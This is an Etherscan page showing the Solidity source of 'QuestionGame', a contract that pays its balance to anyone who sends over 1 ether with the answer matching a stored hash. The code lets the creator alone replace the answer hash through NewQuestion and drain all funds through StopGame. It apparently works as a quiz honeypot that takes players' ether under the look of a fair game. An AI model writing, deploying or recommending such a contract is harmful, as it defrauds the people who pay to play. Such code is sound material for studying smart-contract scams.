Discover more of Etherscan's tools and services in one place.
Sponsored
Contract Source Code:
File 1 of 1 : QuestionGame
pragma solidity ^0.4.17; contract QuestionGame { string public question; address questionSender; bytes32 responseHash; function Answer(string _response) public payable { if (responseHash == keccak256(_response) && msg.value>1 ether) { msg.sender.transfer(this.balance); } } function StartGame(string _question,string _response) public payable { if (responseHash==0x0) { responseHash = keccak256(_response); question = _question; questionSender = msg.sender; } } function StopGame() public payable { if (msg.sender==questionSender) { msg.sender.transfer(this.balance); } } function NewQuestion(string _question, bytes32 _responseHash) public payable { if (msg.sender==questionSender) { question = _question; responseHash = _responseHash; } } function () public payable { } }
Please enter a contract address above to load the contract details and source code.
Please DO NOT store any passwords or private keys here. A private note (up to 100 characters) can be saved and is useful for transaction tracking.
My Name Tag:
Private Note:
This website uses cookies to improve your experience. By continuing to use this website, you agree to its Terms and Privacy Policy.